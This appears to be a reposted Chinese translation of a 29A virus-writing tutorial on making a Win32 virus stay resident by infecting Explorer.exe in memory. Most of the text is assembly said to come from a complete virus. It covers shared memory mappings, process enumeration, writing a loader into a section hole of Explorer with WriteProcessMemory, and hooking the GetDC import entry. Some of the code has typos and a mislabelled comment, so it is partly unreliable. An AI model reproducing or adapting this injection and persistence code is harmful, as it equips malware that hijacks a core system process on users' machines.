Explorer内存感染

来源:互联网 发布:ug8.5编程视频 编辑:程序博客网 时间:2024/04/28 10:09
作者:GriYo / 29A
翻译:pker / CVC翻译小组


介绍

在Win32环境下使我们的病毒在运行结束后仍然驻留内存是一件很不容易的事。病毒保留的内
存会随着被感染程序的结束而消失。即使是每进程驻留病毒(per-process viruses),也只
是在感染例程没有结束时才能存在于内存中。

为了在Win32环境下获得完全的驻留,我们可以考虑如下实现:

  - 我们可以在我们的病毒中加入可以把自己的病毒代码写入到磁盘并生成一个可执行
    文件然后运行它(译注:通常我们称这种技术为drop)。

  - 还有一种有趣的可行做法就是把我们的病毒注册为系统服务:通过在Win9x中调用
    RegisterServiceProcess或者在WinNT/2000中通过系统的服务控制管理器
    (Service Control Manager)…。但是这样做仍然需要把病毒代码drop到磁盘上。

  - 把病毒写成驱动的形式也是一个可行的做法,但是这样我们就需要处理Win9x/NT/2000
    之间的不兼容性。

  - 我们可以把兼容性搁在一边,可以考虑一些粗鲁的驻留手段。这样我们可以切换到
    ring-0,以便调用VxDCall或者其他技术。
 
这篇文章中我将介绍一种驻留技术:在内存中感染Explorer.exe并驻留在它的地址空间中。
虽然这个技术已经不是什么新技术了,但是我还没有看到过任何一个在WinNT/2000下使用这
个技术的病毒或者是相关的文章。所以,让我们从这里开始吧!
 

实现

我们将按照下面的步骤一步步地实现我们的目的:

  - 首先要为病毒保留一块内存。我们使用CreateFileMappingA和MapViewOfFile。这样
    我们保留的内存对其他进程来说将是可见的(记得吗,内存映射文件允许我们在进
    程间共享内存数据)
  - 下面我们要找到Explorer.exe进程并且可以对它进行访问。

  - 一旦我们在内存中访问到Explorer.exe,我们就要在其中寻找一段空穴(hole)。
    我们要在其中插入一小段代码。插入这段代码的目的是使我们的内存块(memory-
    block)对Explorer.exe进程是可见的。(译注:在这段代码中要保持一个对病毒
    内存块的引用,这样当我们的感染例程结束后这块内存才不会被释放掉)

  - 最后,我们要挂钩一个Explorer.exe使用的API,这样,当这个API被调用的时候我
    们插入的代码可以得到控制权。
 
1. 分配共享内存:
通过使用内存映射文件,我们可以保留一块内存并且稍候可以通过其他进程访问到。我们同
时要用到一个关于内存映射文件的鲜为人知的特性:一个内存映射文件并不一定要和磁盘上
的文件产生联系。考虑如下代码:

    lea       eax,dword ptr [ebp+szObjectName]
    push     eax
    push     SIZEOF_MEMORYBLOCK
    push     00000000h
    push     PAGE_READWRITE
    push     00000000h
    push     0FFFFFFFFh
    call     dword ptr [ebp+a_CreateFileMappingA]
    or       eax,eax
    jz       GoBack2Host

    mov       edi,eax
   
    call     dword ptr [ebp+a_GetLastError]
    cmp       eax,000000B7h             ; ERROR_ALREADY_EXISTS
    je       GoBack2Host

压进栈的第一个参数是我们要映射的文件对象的文件名。最好在每个系统中这个文件名是不
同的,这样病毒不会仅仅因为带有了这个文件名而被在内存中被检测到。接下来是我们要申
请的内存区域的大小。紧随其后的是这个尺寸的高32字节(通常为0)。

下面压入的是访问权限,PAGE_READWRITE可以使我们对这块内存具有读写的权利。

接下来的一个参数被忽略了,所以我们简单地用一个NULL填充。我们的把戏就在最后压进的
这个参数上:将被映射文件的文件句柄。通过指定这个句柄为0FFFFFFFFh,这个调用将创建
一个由系统所有而非属于一个命名文件的指定大小的内存映射文件对象。这个内存映射文件
对象可以通过文件名共享。

如果调用失败我们将在寄存器EAX中得到一个NULL。如果函数调用前这个文件对象就已经存
在,函数返回这个文件对象的句柄(这时文件对象的大小就是当前大小,而不是函数调用时
指定的大小)并且GetLastError返回ERROR_ALREADY_EXISTS。这给我们提供了一个额外的特
征:我们可以在申请内存的同时进行安装检查。

下面我们来看一下这个新创建的文件映射:

    push     00000000h
    push     00000000h

    push     00000000h
    push     FILE_MAP_WRITE
    push     edi
    call     dword ptr [ebp+a_MapViewOfFile]
    or       eax,eax
    jz       GoBack2Host

前面的3个双字是将要映射的文件大小以及偏移的字节数(指定为0代表映射整个文件)。

接下来的参数是访问权限。FILE_MAP_WRITE可以使我们具有读写的权利。最后一个参数
(EDI)是由CreateFileMappingA创建的文件映射对象句柄。

上面的代码的结果是得到了一个指向申请到的内存的指针。

最后一步,我们要把病毒写入到申请的内存空间。

2. 寻找Explorer.exe进程
关于如何寻找要根据不同的操作系统而定。让我们从下面的代码开始:
 
    lea       esi,dword ptr [ebp+system_version]
    push     esi
    mov       dword ptr [esi],00000094h
    call     dword ptr [ebp+a_GetVersionEx]
    or       eax,eax
    jz       GoBack2Host

    add       esi,00000010h
    cld
    lodsb

    cmp       eax,VER_PLATform_WIN32_NT
    je       MemInfectWinNt
 
    cmp       eax,VER_PLATform_WIN32_WINDOWS
    je       MemInfectWin9x

下面让我们分别来看:

1) 在Win9x下寻找Explorer.exe
在Win9x中我们有一系列的函数可以用来枚举当前系统中的进程、模块和线程。这些就是
TOOLHELP32函数族,他们在kernel32.dll中,并且只在Win9x下有效。(译注:这些函数在
Windows 9x /2k/XP/2k3中均有效,并声明在tlhelp32.h中,但在NT中不存在):
   
    CreateToolhelp32Snapshot
    Heap32First
    Heap32ListFirst
    Heap32ListNext
    Heap32Next
    Module32First
    Module32Next
    Process32First
    Process32Next
    Thread32First
    Thread32Next
    Toolhelp32ReadProcessMemory

我们将集中讨论其中5个函数:

  - CreateToolhelp32Snapshot
    允许我们为系统照一张快照。余下的几个函数将允许我们访问由这个快照得到的信
    息。

  - Process32First和Process32Next
    从系统快照中提取进程相关信息。

  - Module32First和Module32Next
    从系统快照中提取与一进程相关的模块信息

让我们来看看这个函数是如何工作的:

    push     00000000h
    push     TH32CS_SNAPPROCESS
    call     dword ptr [ebp+a_CreateToolhelp32Snapshot]
    cmp       eax,0ffffffffh
    je       ExitMemWin9x

    mov       dword ptr [ebp+hSnapshot],eax

第一个参数指定了进程ID,如果建立的是当前进程的快照这个参数将被忽略。

下一个参数指定了系统的哪个部分信息将被包含在快照中。这个参数可以是如下取值:

    TH32CS_INHERIT       使返回的句柄可继承
    TH32CS_SNAPALL       得到整个系统的快照
    TH32CS_SNAPHEAPLIST   包含指定进程的堆列表
    TH32CS_SNAPMODULE     列出指定进程加载的模块
    TH32CS_SNAPPROCESS     列出所有进程
    TH32CS_SNAPTHREAD     包含线程列表

我们创建一个TH32CS_SNAPPROCESS快照并且用Process32First和Process32Next寻找Explorer.exe。

    lea       eax,dword ptr [ebp+ProcessEntry]
    push     eax
    mov       dword ptr [eax],SIZEOFPROCESSENTRY
    push     dword ptr [ebp+hSnapshot]
    call     dword ptr [ebp+a_Process32First]
    or       eax,eax
    jz       CloseSnapshot
         
  CheckProcEntry:

    ;
    ; 检查是不是Explorer.exe
    ;

    lea       eax,dword ptr [ebp+ProcessEntry]
    push     eax
    push     dword ptr [ebp+hSnapshot]
    call     dword ptr [ebp+a_Process32Next]
    or       eax,eax
    jnz       CheckProcEntry

Process32First和Process32Next都用到了一个叫PROCESSENTRY32的结构。这是我们对
PROCESSENTRY32的定义:

  ProcessEntry           equ $
 
    ProcEdwSize           dd 00000000h
    ProcEcntUsage           dd 00000000h
    ProcEth32ProcessID       dd 00000000h
    ProcEth32DefaultHeapID     dd 00000000h
    ProcEth32ModuleID       dd 00000000h
    ProcEcntThreads         dd 00000000h
    ProcEth32ParentProcessID   dd 00000000h
    ProcEpcPriClassBase       dd 00000000h
    ProcEdwFlags           dd 00000000h
    ProcEszExeFile         db MAX_PATH dup (00h)
 
  SIZEOFPROCESSENTRY       equ   ($-ProcessEntry)

在调用这个函数之前,结构的ProcEdwSize字段必须填上这个结构的大小。否则将调用失败。

返回时,这个结构将被填充为相应的信息。我们可以看一下ProcEszExeFile字段:它包含着
被检测进程的完整路径和文件名。这个可以让我们用来确定这个进程是不是Explorer.exe
(我在例子代码中省略了这段因为这不是这篇文章主要要讨论的内容)。

一旦我们定位到了Explorer.exe,我们就关闭快照并建立一个新的快照。这次我们请求得到
关于Explorer.exe进程的模块信息。

    push     dword ptr [ebp+hSnapshot]
    call     dword ptr [ebp+a_CloseHandle]
   
    push     dowrd ptr [ebp+ProcEth32ProcessID]
    push     TH32CS_SNAPSHOTMODULE
 
    call     dword ptr [ebp+a_CreateToolhelp32Snapshot]
    cmp       eax,0ffffffffh
    je       ExitMemWin9x
 
    mov       dword ptr [ebp+hSnapshot],eax

为了访问快照得到的信息,我们使用Module32First和Moduel32Next函数。得到的其中一个模
块就是Explorer.exe本身。这些API返回的信息储存在下面的结构中:

  ModuleEntry         equ $

    ModEdwSize       dd 00000000h
    ModEth32ModuleID   dd 00000000h
    ModEth32ProcessID   dd 00000000h
    ModEGlblcntUsage   dd 00000000h
    ModEProccntUsage   dd 00000000h
    ModEmodBaseAddr   dd 00000000h
    ModEmodBaseSize   dd 00000000h
    ModEhModule       dd 00000000h
    ModEszModule     db MAX_MODULE_NAME32+1 dup (00h)
    ModEszExePath     db MAX_PATH dup (00h)
   
  SIZEOFMODULEENTRY     equ ($-ModuleEntry)
         
下面我们看看具体实现:
    lea       edi,dword ptr [ebp+ModuleEntry]
    push     edi
    mov       dword ptr [edi],SIZEOFMODULEENTRY
    push     eax
    call     dword ptr [ebp+a_Module32First]
    or       eax,eax
    jz       CloseSnapshot
         
  CheckEMod:
    mov       eax,dword ptr [ebp+ProcEth32ModuleID]
    cmp       eax,dword ptr [ebp+ModEth32ModuleID]
    jz       MODULE_FOUND

    push     edi                       ; lpme
    push     dword ptr [ebp+hSnapshot]       ; hSnapshot
    call     dword ptr [ebp+a_Module32Next]
    or       eax,eax
    jnz       CheckEMod

    jmp       CloseSnapshot       ; Abort if module not found

函数每一次返回我们都对ModEth32ModuleID字段和之前枚举进程时得到的ProcEth32ModuleID
字段进行比较。
 
得到Explorer.exe的模块句柄这一点很重要。ModEhModule字段包含着模块句柄。在Win32下,
这个句柄就是模块在内存中装载的基地址。
           

2) 在WinNT/2000下寻找Explorer.exe
上面提到的实现在Windows NT下不可行,因为NT中没有TOOLHELP32族函数。为了得到进程和
模块列表,我们借助于一个附加DLL:PSAPI.DLL

这个dll为我们提供了下列函数:
    EmptyWorkingSet
    EnumDeviceDrivers
    EnumProcesses
    EnumProcessModules
    GetDeviceDriverBaseName
    GetDeviceDriverFileName
    GetMappedFileName
    GetModuleBaseName
    GetModuleFileNameEx
    GetModuleInformation
    GetProcessMemoryInfo
    GetWsChanges
    InitializeProcessForWsWatch
    QueryWorkingSet

但是为了达到我们的目的我们只需要下面的几个函数即可:
 
  - EnumProcesses
    得到一个包含每个进程ID的数组。

  - EnumProcessModules
    返回给我们一个填写着指定进程的所有装载模块的模块句柄的数组。

例如:
    lea       edi,dword ptr [ebp+EP_Bytes]
    push     edi
    push     00000080h
    lea       esi,dword ptr [ebp+ProcessIdList]
    push     esi
    call     dword ptr [ebp+a_EnumProcesses]
    or       eax,eax
    jz       ExitMemNt

    mov       ecx,dword ptr [edi]
    shr       ecx,02h
    jecxz     ExitMemNt

第一个参数是一个指向一个变量的指针,返回时这个变量的值被写成进程ID数组的实际字节
数。

第二个参数指定了数组大小,如果它不足以放置整个列表则函数调用失败。

最后一个参数是指向接受进程ID列表的数组的指针。要确定有多少进程被EnumProcesses枚举
可以用返回的结果EP_Bytes除以04h (一个双字的大小)

下面让我们依次打开每一个返回的进程:

    push     dword ptr [ebp+PROCESS_ID]
    push     00000000h
    push     PROCESS_QUERY_INformATION or /
            PROCESS_VM_READ or /
            PROCESS_VM_WRITE or /
            PROCESS_VM_OPERATION
    call     dword ptr [ebp+a_OpenProcess]
         
大部分返回的进程不允许我们以指定的权限打开。但Explorer.exe不是那样。

当一个进程被打开后,我们就得到了一个进程句柄。我们仍然需要去确定这是不是
Explorer.exe。

下面,我们要重新得到这个进程加载的第一个模块:

    lea       edx,dword ptr [ebp+EP_Bytes]
    push     edx
    push     00000080h
    lea       esi,dword ptr [ebp+ModuleList]
    push     esi
    push     eax
 
    call     dword ptr [ebp+a_EnumProcessModules]
    or       eax,eax
    jz       NCProcess
 
    cld
    lodsd
 
    mov       dword ptr [ebp+hModuel],eax

注意我们不需要寻找其他模块:第一个返回的模块就是Explorer.exe自身。

现在我们有了一个进程的模块句柄(加载基地址)。我们用kernel32导出的
GetModuleBaseNameA函数来得到这个模块的名字,检查这是不是Explorer.exe。


    push     MAX_PATH
    lea       esi,dword ptr [ebp+BufStrFilename]
    push     esi
    push     dword ptr [ebp+hModule]
    push     dword ptr [ebp+hProcess]
   
    call     dword ptr [ebp+a_GetModuleBaseNameA]
    or       eax,eax
    jz       NCProcess

3. 接管
下面的部分是Win9x/Nt/2000通用的。

一旦我们得到了Explorer.exe的基地址,我们就可以对其调用函数ReadProcessMemory和
WriteProcessMemory了。

下面的代码演示了这两个函数的使用:

;Read process memory routine
;
;On entry:
;     eax -> Pointer to the base address from which to read
;     ecx -> Specifies the requested number of bytes to read
;     esi -> Pointer to a buffer that receives the contents from
;         the address address
;
;     [ebp+hProcess] contains the target process handle
;
;On exit:
;     eax -> NULL if error
;
;     ebx, ecx, esi, edi, ebp preserved

ReadProcessMem:
    push   edi
    push   ecx

    lea   edi,dword ptr [ebp+EP_Bytes]   ;lpNumberOfBytesRead
    push   edi
    push   ecx                   ;nSize
    push   esi                   ;lpBuffer
    push   eax                   ;lpBaseAddress
    push   dword ptr [ebp+hProcess]     ;hProcess

    call   dword ptr [ebp+a_ReadProcessMemory]

    pop   ecx

    or     eax,eax
    jz     ExitREM

    cmp   dword ptr [edi],ecx
    je     ExitREM

    xor   eax,eax

ExitREM:  
    pop   edi
          cld
          ret

;Write process memory routine
;
;On entry:
;     eax -> Pointer to the base address in the specified process
;         to which data will be written
;     ecx -> Specifies the number of bytes to write
;     esi -> Pointer to the buffer that contains data to be written
;
;     [ebp+hProcess] contains the target process handle
;
;On exit:
;     eax -> NULL if error
;
;     ebx, ecx, esi, edi, ebp preserved

WriteProcessMem:push edi
    push   ecx

    lea   edi,dword ptr [ebp+EP_Bytes]   ;lpNumberOfBytesWritten
    push   edi
    push   ecx                   ;nSize
    push   esi                   ;lpBuffer
    push   eax                   ;lpBaseAddress
    push   dword ptr [ebp+hProcess]     ;hProcess

    call   dword ptr [ebp+a_WriteProcessMemory]

    pop   ecx

    or     eax,eax
    jz     ExitWEM

    cmp   dword ptr [edi],ecx
    je     ExitWEM

    xor   eax,eax

ExitWEM:  
    pop edi
          cld
          ret
     
利用这个子程序我们就可以读写Explorer.exe的内存映像了。

现在我们已经得到了:
  - 一个具有写权限的Explorer.exe进程句柄
  - Explorer.exe映射的基地址

我们要用它们来做什么呢?答案很简单:把我们的病毒插入到Explorer.exe的进程空间里去,
这样当我们的感染例程结束后我们的病毒仍然可以驻留内存。

让我们一步步来做。首先我们先找到节表。通过它我们找到一个合适的节:

    mov   ebx,dword ptr [ebp+hModule]
    mov   ecx,00000004h
    lea   esi,dword ptr [ebp+Explorer_MZ_lfanew]
    mov   eax,ebx
    add   eax,MZ_lfanew
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
 
    lodsd           ;There is a CLD at the end of ReadProcessMem
    or     eax,eax   ;Now esi -> Explorer_FH_SizeOfOptionalHeader
    jz     FE_Exit   ; eax -> MZ_lfanew
    add   eax,ebx
    mov   edi,eax
    add   eax,00000004h + FH_SizeOfOptionalHeader
    dec   ecx
    dec   ecx
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
    lodsw           ;Just to do
                  ;esi -> Explorer_FH_NumberOfSections
    mov   eax,edi  
    add   eax,00000004h + FH_NumberOfSections
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
    lodsw           ;esi -> Explorer_SectionHeader
    movzx   ecx,ax     ;ecx -> Number of sections
    movzx   eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
    add   edi,eax
    add   edi,00000004h + IMAGE_SIZEOF_FILE_HEADER

我们需要一个具有读写属性的节。一个包含初始化数据的节。如果找到具有这样属性的节我
们还要检查这个节是不是还留有自由空间(SH_SizeOfRawData > SH_VirtualSize)。

ExplorerHole:  
    push   ecx

    mov   eax,edi
    mov   ecx,IMAGE_SIZEOF_SECTION_HEADER
    call   ReadProcessMem
    or     eax,eax
    jz     E_NextSection
 
    ;There is free space ?
    cmp   dword ptr [esi+SH_Characteristics], /
              IMAGE_SCN_MEM_READ or /
              IMAGE_SCN_MEM_WRITE or /
              IMAGE_SCN_CNT_INITIALIZED_DATA
    jne   E_NextSection
 
    mov   eax,dword ptr [esi+SH_SizeOfRawData]
    sub   eax,dword ptr [esi+SH_VirtualSize]
    js     E_NextSection
    cmp   eax,SIZEOF_EVL
    jae   Ok_E_Section


  ;Try next section
  E_NextSection:
    add   edi,ecx
    pop   ecx
    loop   ExplorerHole
 
    ;No suitable section found
    jmp   FE_Exit

一旦我们得到了一个符合要求的节我们就可以在这里写入我们的代码,要写入的代码我们在
后面会谈到。

  Ok_E_Section:  
    pop   ecx       ;Cleanup stack
 
    ;Setup some values in the code we want to write to EXPLORER.EXE
    mov   eax,dword ptr [ebp+a_GetDC]
    mov   dword ptr [ebp+EVL_a_OrginalApiAddr],eax
 
    mov   eax,dword ptr [ebp+a_OpenFileMappingA]
    mov   dword ptr [ebp+EVL_a_OpenFileMapping],eax
    mov   eax,dword ptr [ebp+a_MapViewOfFile]
    mov   dword ptr [ebp+EVL_a_MapViewOfFile],eax
 
    mov   eax,ebx
    add   eax,dword ptr [esi+SH_VirtualAddress]
    add   eax,dword ptr [esi+SH_VirtualSize]
 
    mov   dword ptr [ebp+Explorer_Patch],eax
 
    mov   ecx,SIZEOF_EVL
    lea   esi,dword ptr [ebp+EVL_code]
    call   WriteProcessMem
    or     eax,eax
    jz     FE_Exit
 
当我们把病毒的loader写入Explorer.exe后,我们准备对Explorer.exe的API进行挂钩,这个
钩子会把控制权交到我们插入的代码中。
 
    ;Go to EXPLORER.EXE data directory
    mov   eax,ebx
    add   eax,dword ptr [ebp+Explorer_MZ_lfanew]
    add   eax,00000004h + IMAGE_SIZEOF_FILE_HEADER + /
          OH_DataDirectory.DE_Import.DD_VirtualAddress
 
    mov   ecx,00000004h
    lea   esi,dword ptr [ebp+Explorer_DE_Import]
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
 
    ;Search for USER32 import module descriptor
    lodsd
    add   eax,ebx
    mov   edi,eax
     
  E_Search_K32:  
    mov   eax,edi
    mov   ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
    lea   esi,dword ptr [ebp+Explorer_ImportDescriptor]
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
 
    ;Last import module descriptor!?
    cmp   dword ptr [esi],00000000h
    je     FE_Exit
 
    ;Check import module descriptor ID_Name
    mov   eax,ebx
    add   eax,dword ptr [esi+ID_Name]
    mov   ecx,00000010h
    lea   esi,dword ptr [ebp+Explorer_ID_Name]
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
 
    push   edi
 
    lea   edi,dword ptr [ebp+BufStrFilename]
    call   parse_filename
    mov   esi,edx
    call   get_str_crc32
 
    pop   edi
 
    cmp   edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
    je     E_Found_K32
 
 
    ;Next import module descriptor
    add   edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
    jmp   E_Search_K32
 
    ;USER32.DLL import module descriptor found
  E_Found_K32:  
    mov   edi,dword ptr [ebp+ Explorer_ImportDescriptor+ID_FirstThunk]
    add   edi,ebx
    mov   ecx,00000004h
    lea   esi,dword ptr [ebp+Explorer_Hook]
   
  E_NextThunk:
    mov   eax,edi
    call   ReadProcessMem
    or     eax,eax
    jz     FE_Exit
 
    mov   eax,dword ptr [esi]
    or     eax,eax
    jz     FE_Exit
 
    cmp   eax,dword ptr [ebp+a_GetDC]
    je     E_Poison
 
    add   edi,ecx
    jmp E_NextThunk
 
    ;Gotcha!
  E_Poison:  
    mov   eax,edi
    mov   dword ptr [ebp+Explorer_Init_Hook],eax
    lea   esi,dword ptr [ebp+Explorer_Patch]
 
    call   WriteProcessMem ; ECX already loaded
    or     eax,eax
    jz     FE_Exit
 
    ;Done!!!! ieieie!!!!
    ;Insert rest of code here
    ret
 
  FE_Exit:     ;Residency proc failed!
    Ret

这段代码取自一个完整的病毒。你会发现其中调用的一些子程序没有出现在这篇文章中。这
段代码只是希望起到一定的引导作用,仅此而已。

我们继续,下面的代码是我们要插入到Explorer.exe的进程空间的。

  ; Code injected into EXPLORER.EXE
  ;
  ; The purpose of this code is to get access to virus memory from
  ; EXPLORER.EXE
 
    EVL_code   equ       $
 
    ;Let some space for the return address... then save all regs
    push   eax
    pushad
 
    ;This is the original address of the API... Lets make the
    ;return address point to it
    db     0B8h           ; EAX -> Original API address
    EVL_a_OrginalApiAddr     dd 00000000h
 
    mov   dword ptr [esp+cPushad],eax
 
    ;Attempt to avoid reentrance problems
    call   MultiThreadSafe
 
    db     00h   ;Only changed over hook code, not over main virus body
 
  MultiThreadSafe:
    pop   esi
    mov   edi,esi
    cld
    lodsb
    or     al,al
    jnz   MayBeOnNextCall
    dec   al
    stosb
 
    ;Try to open the virus file-mapping
    ;There is some kinda race condition here... If the infected
    ;program terminates before this point we wont be able to
    ;find the rest of the virus in memory...
    ;In that case the hook will stay present, and this code may
    ;be able to find the virus memory-mapping on next attemps
    call   GetszObjName   ;lpName
  szObjectName     db 10h dup (00h)
  GetszObjName:  
    push   00000000h     ;bInheritHandle
    mov   edi,FILE_MAP_WRITE
    push   edi         ;dwDesiredAccess
 
    db     0B8h       ; EAX -> OpenFileMappingA
  EVL_a_OpenFileMapping     dd 00000000h
 
    call   eax
    or     eax,eax
    jz     MayBeOnNextCall
 
    ;The file-mapping is here... Get an image of it
    xor   edx,edx
    push   edx
    push   edx
    push   edx
    push   edi
    push   eax
 
    db     0B8h     ; EAX -> OpenFileMappingA
  EVL_a_MapViewOfFile   dd     00000000h
 
    call   eax
 
    or     eax,eax
    jz     MayBeOnNextCall
 
    ;Great! We have access to virus allocated memory, but
    ;remember we are now inside EXPLORER.EXE !!!!
    ;Jump to virus complete image in order to complete
    ;initialization inside EXPLORER.EXE
    add   eax,offset ExplorerInit - offset viro_sys
    call   eax
 
    ;Restore regs and jump to original API code
  MayBeOnNextCall:
    popad
    ret
 
  SIZEOF_EVL     equ   $-EVL_code

Explorer.exe中的GetDC这个API已经被挂了钩并指向上面这段代码。一旦这段代码被激活,
他会寻找共享内存块(就是我们在开篇提到的)。一旦我们得到这块内存的句柄我们就可以
确信我们的病毒已经永久地驻留系统了,直到Explorer.exe关闭。

可能有些读者会问:为什么感染例程结束了这块内存还会保留呢?答案很简单:因为一块内
存直到所有引用它的句柄都关闭了才系统才会释放它。当感染例程结束了,它关闭了所有的
句柄,但是还有一个句柄仍然打开着,是在Explorer中。 
原创粉丝点击